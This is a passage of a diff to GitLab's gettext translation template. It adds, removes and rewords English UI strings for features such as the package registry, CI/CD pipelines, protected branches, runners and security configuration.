+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
